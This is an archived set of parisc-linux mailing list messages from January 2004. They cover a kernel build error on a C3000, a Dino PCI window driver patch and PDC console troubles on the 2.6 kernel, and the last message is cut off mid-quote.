User-Agent: Mutt/1.5.3i
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 14:52:03 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20625

> just installed a fresh Debian on a C3000/8500. I did a kernel
> recompile and after 15 minutes binutils terminated compilation,
> complaining about too long arguments.  However, is this normal compilation
> time? I know this is not an acurate metric, but gives an idea. I
> just did an make oldconfig and then rebuilt the kernel. What is the normal
> kernel compilation time on these machines?
> The running kernel was 2.4.21.

do you have latest binutils installed? it shouldn't terminate. can you
please post your config and binutils/gcc version? ~10-15 minutes sounds
reasonable for a c3k, but depends on amount of memory, speed of disk, 
etc...

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian Barber" <brianbarber@myrealbox.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C200 available to good home (Pittsburgh area )
Date: Tue, 13 Jan 2004 10:22:34 -0500
Lines: 7
Approved: news@gmane.org
Message-ID: <1074007354.537889c0brianbarber@myrealbox.com>
Reply-To: brianbarber@linux.ca
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623127 4537 80.91.229.3 (22 Nov 2014 02:25:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: brianbarber@myrealbox.com  Tue Jan 13 08:22:35 2004
Return-Path: <brianbarber@myrealbox.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-send.myrealbox.com (smtp-send.myrealbox.com
	[192.108.102.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 61BC64854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 08:22:35 -0700 (MST)
Original-Received: from brianbarber [198.103.249.251] by myrealbox.com
	with NetMail ModWeb Module; Tue, 13 Jan 2004 10:22:34 -0500
X-Mailer: NetMail ModWeb Module
X-Sender: brianbarber
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 15:22:35 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20626

> And my favorite hockey team is the penguins...

Who had an impressive win last night over the Flyers... Way to go, Pens.

BB



From - Thu Nov 08 21:30:38 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.6 jejb
Date: 13 Jan 2004 10:58:06 -0500
Lines: 178
Approved: news@gmane.org
Message-ID: <1074009487.2113.77.camel@mulgrave>
References: <20040113155603.CBCC249425A@palinux.hppa>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623127 4542 80.91.229.3 (22 Nov 2014 02:25:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:27 +0000 (UTC)
Cc: parisc-linux-cvs@lists.parisc-linux.org
To: PARISC list <parisc-linux@lists.parisc-linux.org>
Original-X-From: James.Bottomley@SteelEye.com  Tue Jan 13 08:58:11 2004
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 75D0C4854; Tue, 13 Jan 2004 08:58:10 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	i0DFw9a29696; Tue, 13 Jan 2004 10:58:09 -0500
In-Reply-To: <20040113155603.CBCC249425A@palinux.hppa>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 15:58:11 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20627

On Tue, 2004-01-13 at 10:56, James Bottomley wrote:
> CVSROOT:	/var/cvs
> Module name:	linux-2.6
> Changes by:	jejb	04/01/13 08:56:03
> 
> Modified files:
> 	.              : Makefile 
> 	drivers/parisc : ccio-dma.c dino.c 
> 	include/asm-parisc: pci.h 
> 
> Log message:
> Add Dino support for extended and non-contiguous PCI windows.
> 
> The current code assumes the dino has a single 8MB window.  However,
> this isn't sufficient to support PCI video cards, which can have much
> bigger windows.
> 
> This code adds the ability to translate an arbitrary dino map (which must
> still be correctly set up by firmware) into the PCI resource table.

# This is a BitKeeper generated patch for the following project:
# Project Name: Linux kernel tree
# This patch format is intended for GNU patch command version 2.5 or higher.
# This patch includes the following deltas:
#	           ChangeSet	1.1531  -> 1.1532 
#	drivers/parisc/dino.c	1.13    -> 1.14   
#	drivers/parisc/ccio-dma.c	1.15    -> 1.16   
#	include/asm-parisc/pci.h	1.10    -> 1.11   
#
# The following is the BitKeeper ChangeSet Log
# --------------------------------------------
# 04/01/13	jejb@raven.il.steeleye.com	1.1532
# Add support for extended and non-contiguous dino PCI windows
# --------------------------------------------
#
diff -Nru a/drivers/parisc/ccio-dma.c b/drivers/parisc/ccio-dma.c
--- a/drivers/parisc/ccio-dma.c	Tue Jan 13 09:51:57 2004
+++ b/drivers/parisc/ccio-dma.c	Tue Jan 13 09:51:57 2004
@@ -1627,11 +1627,11 @@
 
 	if (!ioc) {
 		parent = &iomem_resource;
-	} else if ((ioc->mmio_region->start <= dev->hpa) &&
-			(dev->hpa < ioc->mmio_region->end)) {
+	} else if ((ioc->mmio_region->start <= res->start) &&
+			(res->end <= ioc->mmio_region->end)) {
 		parent = ioc->mmio_region;
-	} else if (((ioc->mmio_region + 1)->start <= dev->hpa) &&
-			(dev->hpa < (ioc->mmio_region + 1)->end)) {
+	} else if (((ioc->mmio_region + 1)->start <= res->start) &&
+			(res->end <= (ioc->mmio_region + 1)->end)) {
 		parent = ioc->mmio_region + 1;
 	} else {
 		return -EBUSY;
diff -Nru a/drivers/parisc/dino.c b/drivers/parisc/dino.c
--- a/drivers/parisc/dino.c	Tue Jan 13 09:51:57 2004
+++ b/drivers/parisc/dino.c	Tue Jan 13 09:51:57 2004
@@ -572,8 +572,16 @@
 	} else if(bus->parent == NULL) {
 		/* must have a dino above it, reparent the resources
 		 * into the dino window */
+		int i;
+		struct resource *res = &dino_dev->hba.lmmio_space;
+
 		bus->resource[0] = &(dino_dev->hba.io_space);
-		bus->resource[1] = &(dino_dev->hba.lmmio_space); 
+		for(i = 0; i < DINO_MAX_LMMIO_RESOURCES; i++) {
+			if(res[i].flags == 0)
+				break;
+			bus->resource[i+1] = &res[i];
+		}
+
 	} else if(bus->self) {
 		int i;
 
@@ -740,9 +748,9 @@
 static int __init
 dino_bridge_init(struct dino_device *dino_dev, const char *name)
 {
-	unsigned long io_addr, bpos;
-	int result;
-	struct resource *res;
+	unsigned long io_addr;
+	int result, i, count=0;
+	struct resource *res, *prevres = NULL;
 	/*
 	 * Decoding IO_ADDR_EN only works for Built-in Dino
 	 * since PDC has already initialized this.
@@ -754,21 +762,51 @@
 		return -ENODEV;
 	}
 
-	for (bpos = 0; (io_addr & (1 << bpos)) == 0; bpos++)
-		;
-
 	res = &dino_dev->hba.lmmio_space;
-	res->flags = IORESOURCE_MEM;
+	for (i = 0; i < 32; i++) {
+		unsigned long start, end;
+
+		if((io_addr & (1 << i)) == 0)
+			continue;
 
-	res->start = (unsigned long)(signed int)(0xf0000000 | (bpos << 23));
-	res->end = res->start + 8 * 1024 * 1024 - 1;
+		start = (unsigned long)(signed int)(0xf0000000 | (i << 23));
+		end = start + 8 * 1024 * 1024 - 1;
 
-	result = ccio_request_resource(dino_dev->hba.dev, res);
-	if (result < 0) {
-		printk(KERN_ERR "%s: failed to claim PCI Bus address space!\n", name);
-		return result;
+		DBG("DINO RANGE %d is at 0x%lx-0x%lx\n", count,
+		    start, end);
+
+		if(prevres && prevres->end + 1 == start) {
+			prevres->end = end;
+		} else {
+			if(count >= DINO_MAX_LMMIO_RESOURCES) {
+				printk(KERN_ERR "%s is out of resource windows for range %d (0x%lx-0x%lx)\n", name, count, start, end);
+				break;
+			}
+			prevres = res;
+			res->start = start;
+			res->end = end;
+			res->flags = IORESOURCE_MEM;
+			res->name = kmalloc(64, GFP_KERNEL);
+			if(res->name)
+				snprintf((char *)res->name, 64, "%s LMMIO %d",
+					 name, count);
+			res++;
+			count++;
+		}
 	}
 
+	res = &dino_dev->hba.lmmio_space;
+
+	for(i = 0; i < DINO_MAX_LMMIO_RESOURCES; i++) {
+		if(res[i].flags == 0)
+			break;
+
+		result = ccio_request_resource(dino_dev->hba.dev, &res[i]);
+		if (result < 0) {
+			printk(KERN_ERR "%s: failed to claim PCI Bus address space %d (0x%lx-0x%lx)!\n", name, i, res[i].start, res[i].end);
+			return result;
+		}
+	}
 	return 0;
 }
 
@@ -849,10 +887,8 @@
 	res = &dino_dev->hba.io_space;
 	if (dev->id.hversion == 0x680 || is_card_dino(&dev->id)) {
 		res->name = "Dino I/O Port";
-	        dino_dev->hba.lmmio_space.name = "Dino LMMIO";
 	} else {
 		res->name = "Cujo I/O Port";
-	        dino_dev->hba.lmmio_space.name = "Cujo LMMIO";
 	}
 	res->start = HBA_PORT_BASE(dino_dev->hba.hba_num);
 	res->end = res->start + (HBA_PORT_SPACE_SIZE - 1);
diff -Nru a/include/asm-parisc/pci.h b/include/asm-parisc/pci.h
--- a/include/asm-parisc/pci.h	Tue Jan 13 09:51:57 2004
+++ b/include/asm-parisc/pci.h	Tue Jan 13 09:51:57 2004
@@ -56,6 +56,11 @@
 	struct resource lmmio_space;	/* bus addresses < 4Gb */
 	struct resource elmmio_space;	/* additional bus addresses < 4Gb */
 	struct resource gmmio_space;	/* bus addresses > 4Gb */
+	/* NOTE: Dino code assumes it can use *all* of the lmmio_space,
+	 * elmmio_space and gmmio_space as a contiguous array of
+	 * resources.  This #define represents the array size */
+	#define DINO_MAX_LMMIO_RESOURCES	3
+
 	unsigned long   lmmio_space_offset;  /* CPU view - PCI view */
 	void *          iommu;          /* IOMMU this device is under */
 	/* REVISIT - spinlock to protect resources? */



From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation time
Date: Tue, 13 Jan 2004 18:29:21 +0100 (CET)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.58.0401131820440.25027@db-gr1.idi.ntnu.no>
References: <Pine.BSF.4.58.0401131521300.24660@db-gr1.idi.ntnu.no>
	<20040113160249.GJ533@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623128 4548 80.91.229.3 (22 Nov 2014 02:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Ivar.Olav.Harstad.Orskaug@idi.ntnu.no  Tue Jan 13 10:29:25 2004
Return-Path: <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ray.idi.ntnu.no (ray.idi.ntnu.no [129.241.107.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id DCF624854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 10:29:24 -0700 (MST)
Original-Received: from db-gr1.idi.ntnu.no (db-gr1.idi.ntnu.no [129.241.111.242])
	by ray.idi.ntnu.no (8.12.10/8.12.10) with ESMTP id i0DHTLDx016085
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 18:29:22 +0100 (MET)
In-Reply-To: <20040113160249.GJ533@tausq.org>
X-Spam-Status: No, hits=-6 required=4
X-Virus-Scanned: by amavisd-new-IDI
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 17:29:25 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20628

On Tue, 13 Jan 2004, Randolph Chung wrote:

> > just installed a fresh Debian on a C3000/8500. I did a kernel
> > recompile and after 15 minutes binutils terminated compilation,
> > complaining about too long arguments.  However, is this normal compilation
> > time? I know this is not an acurate metric, but gives an idea. I
> > just did an make oldconfig and then rebuilt the kernel. What is the normal
> > kernel compilation time on these machines?
> > The running kernel was 2.4.21.
>
> do you have latest binutils installed? it shouldn't terminate. can you
> please post your config and binutils/gcc version? ~10-15 minutes sounds
> reasonable for a c3k, but depends on amount of memory, speed of disk,
> etc...

	OK, running binutils 2.14.90.0.7-3, gcc 3.3.2

	output from make:

	real2.S:126: Error: too many positional arguments
	make[1]: *** [real2.o] Error 1
	make[1]: Leaving directory
	`/usr/src/kernel-source-2.4.21/arch/parisc/kernel'
	make: *** [_dir_arch/parisc/kernel] Error 2

	line 126 in
/usr/src/kernel-source-2.4.21/arch/parisc/kernel/real2.S:

	 126          load32  PA(save_cr_space + (N_SAVED_REGS * REG_SZ)), %r26
>
> randolph
>


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation time
Date: Tue, 13 Jan 2004 19:12:14 +0100
Lines: 66
Approved: news@gmane.org
Message-ID: <400324B600000D55@ocpmta1.freegates.net>
References: <Pine.BSF.4.58.0401131820440.25027@db-gr1.idi.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623128 4554 80.91.229.3 (22 Nov 2014 02:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:28 +0000 (UTC)
To: "Ivar Orskaug" <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: soete.joel@tiscali.be  Tue Jan 13 11:12:30 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from cpout2.tiscali.be (cpout2.tiscali.be [62.235.13.194])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4282F4854
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 13 Jan 2004 11:12:30 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by cpout2.tiscali.be with esmtp (Tiscali) 
	id 1AgT1S-0004gP-00; Tue, 13 Jan 2004 19:12:14 +0100
Original-Received: from [57.67.177.33] by mail.tiscali.be with HTTP;
	Tue, 13 Jan 2004 19:12:14 +0100
In-Reply-To: <Pine.BSF.4.58.0401131820440.25027@db-gr1.idi.ntnu.no>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 13 Jan 2004 18:12:30 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20629

Either apply manualy this patch (in fact remove spaces):
<http://lists.parisc-linux.org/pipermail/parisc-linux/2003-July/020426.html>

or use a more recent kernel (cvs one seems ok for me ;) )

hth,
    Joel

>-- Original Message --
>Date: Tue, 13 Jan 2004 18:29:21 +0100 (CET)
>From: Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
>To: parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] kernel compilation time
>
>
>On Tue, 13 Jan 2004, Randolph Chung wrote:

> > just installed a fresh Debian on a C3000/8500. I did a kernel
> > recompile and after 15 minutes binutils terminated compilation,
> > complaining about too long arguments.  However, is this normal com
>ilation
> > time? I know this is not an acurate metric, but gives an idea. I
> > just did an make oldconfig and then rebuilt the kernel. What is the normal
> > kernel compilation time on these machines?
> > The running kernel was 2.4.21.
>
> do y
>u have latest binutils installed? it shouldn't terminate. can you
> please post your config and binutils/gcc version? ~10-15 minutes sounds
> reasonable for a c3k, but depends on amount of memory, speed of disk,
> etc...

	OK, running binutils 2.1
>.90.0.7-3, gcc 3.3.2

	output from make:

	real2.S:126: Error: too many positional arguments
	make[1]: *** [real2.o] Error 1
	make[1]: Leaving directory
	`/usr/src/kernel-source-2.4.21/arch/parisc/kernel'
	make: *** [_dir_arch/parisc/kernel] Er
>or 2

	line 126 in
/usr/src/kernel-source-2.4.21/arch/parisc/kernel/real2.S:

	 126          load32  PA(save_cr_space + (N_SAVED_REGS * REG_SZ)), %r26
>
> randolph
>
_______________________________________________
parisc-linux mailing list
p
>risc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



-------------------------------------------------------------------------
Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
le monde.
http://reg.tiscali.be/default.asp?lg=fr




From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel compilation time
Date: Wed, 14 Jan 2004 11:42:33 +0100 (CET)
Lines: 74
Approved: news@gmane.org
Message-ID: <Pine.BSF.4.58.0401141140100.27282@db-gr1.idi.ntnu.no>
References: <400324B600000D55@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=ISO-8859-1
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1416623128 4555 80.91.229.3 (22 Nov 2014 02:25:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: Ivar.Olav.Harstad.Orskaug@idi.ntnu.no  Wed Jan 14 03:42:36 2004
Return-Path: <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ray.idi.ntnu.no (ray.idi.ntnu.no [129.241.107.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 46DB74854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jan 2004 03:42:36 -0700 (MST)
Original-Received: from db-gr1.idi.ntnu.no (db-gr1.idi.ntnu.no [129.241.111.242])
	by ray.idi.ntnu.no (8.12.10/8.12.10) with ESMTP id i0EAgXDx003660
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jan 2004 11:42:33 +0100 (MET)
In-Reply-To: <400324B600000D55@ocpmta1.freegates.net>
X-Spam-Status: No, hits=-6 required=4
X-Virus-Scanned: by amavisd-new-IDI
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Jan 2004 10:42:37 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20630

On Tue, 13 Jan 2004, Joel Soete wrote:

> Either apply manualy this patch (in fact remove spaces):
> <http://lists.parisc-linux.org/pipermail/parisc-linux/2003-July/020426.html>
>
> or use a more recent kernel (cvs one seems ok for me ;) )

	A CVS checkout worked, the other tarballs propably breaks with
	Sarge, thanks,

	Ivar

>
> hth,
>     Joel
>
> >-- Original Message --
> >Date: Tue, 13 Jan 2004 18:29:21 +0100 (CET)
> >From: Ivar Orskaug <Ivar.Olav.Harstad.Orskaug@idi.ntnu.no>
> >To: parisc-linux@lists.parisc-linux.org
> >Subject: Re: [parisc-linux] kernel compilation time
> >
> >
> >On Tue, 13 Jan 2004, Randolph Chung wrote:
>
> > > just installed a fresh Debian on a C3000/8500. I did a kernel
> > > recompile and after 15 minutes binutils terminated compilation,
> > > complaining about too long arguments.  However, is this normal com
> >ilation
> > > time? I know this is not an acurate metric, but gives an idea. I
> > > just did an make oldconfig and then rebuilt the kernel. What is the normal
> > > kernel compilation time on these machines?
> > > The running kernel was 2.4.21.
> >
> > do y
> >u have latest binutils installed? it shouldn't terminate. can you
> > please post your config and binutils/gcc version? ~10-15 minutes sounds
> > reasonable for a c3k, but depends on amount of memory, speed of disk,
> > etc...
>
> 	OK, running binutils 2.1
> >.90.0.7-3, gcc 3.3.2
>
> 	output from make:
>
> 	real2.S:126: Error: too many positional arguments
> 	make[1]: *** [real2.o] Error 1
> 	make[1]: Leaving directory
> 	`/usr/src/kernel-source-2.4.21/arch/parisc/kernel'
> 	make: *** [_dir_arch/parisc/kernel] Er
> >or 2
>
> 	line 126 in
> /usr/src/kernel-source-2.4.21/arch/parisc/kernel/real2.S:
>
> 	 126          load32  PA(save_cr_space + (N_SAVED_REGS * REG_SZ)), %r26
> >
> > randolph
> >
> _______________________________________________
> parisc-linux mailing list
> p
> >risc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
>
>
> -------------------------------------------------------------------------
> Tiscali ADSL: 12 mois  29,50 /mois! L'Internet rapide, c'est pour tout
> le monde.
> http://reg.tiscali.be/default.asp?lg=fr
>
>


From - Thu Nov 08 21:30:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.6 & pdc_console pb on c110: "Warning: unable
	to open an initial console."
Date: Thu, 15 Jan 2004 00:34:48 +0100
Organization: private
Lines: 141
Approved: news@gmane.org
Message-ID: <4005D218.5000803@gmx.at>
References: <400324B6000002CE@ocpmta1.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623129 4559 80.91.229.3 (22 Nov 2014 02:25:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:25:29 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: christoph.plattner@gmx.at  Wed Jan 14 16:34:55 2004
Return-Path: <christoph.plattner@gmx.at>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9225D4854
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 14 Jan 2004 16:34:54 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
	(InterMail vM.6.00.05.02 201-2115-109-103-20031105) with ESMTP
	id <20040114233449.WAXH8554.viefep16-int.chello.at@gmx.at>;
	Thu, 15 Jan 2004 00:34:49 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.1) Gecko/20020830
X-Accept-Language: en-us, en
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 14 Jan 2004 23:34:55 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20631

Hello,

sorry  have no idea for the hang up on boot!
BUT: experiments with the MUX driver has show, that
using not ttyB0 (but 1,2...) there system also
hangs up.
BUT: This is no explanation for this problem here.
The PDC console driver calls the "BIOS-like" routines
for printing out (and polling keys !).
All the "printk()" are printed directly (without my
PDC console driver), and everything running via
"/dev/console" or "/dev/ttyB0" goes through the
driver. Is the kernel so far, that an `open(
"/dev/console"' is already called (just done in
kernel before calling "/sbin/init" or "/bin/sh") ?

Christoph


Joel Soete wrote:
> Hello Christoph,
> 
> 
>>Anyway, the PDC driver should work for all architectures, independent of
>>the serial type (this was my concept of this driver).
>>
>>Is the driver fully ported to the 2.6 kernel ?
>>In the first log, the line "Warning: unable to open an initial console."
>>was shown, so the open on this device fails !
>>Futher there is no PDC driver registered under proc/devices !
> 
> 
> That a better explanation ;) (afaik there are some changes from 2.4 to 2.6
> driver's implementation and also some paper about the subject, I will see)
> 
> 
>>I have never tested a 2.6 kernel on a HP.
> 
> 
> Another question: I also try it with 2.4 (32 or 64 bit kernel) running on
> a b2k.
> But this b2k is equiped with an ide cdrom and when I try to boot a kernel
> with builtin pdc driver (2.4 and 2.6), the boot process hung (the green led
> of the cdrom stay continuously bright, so it seems a pb of initialization
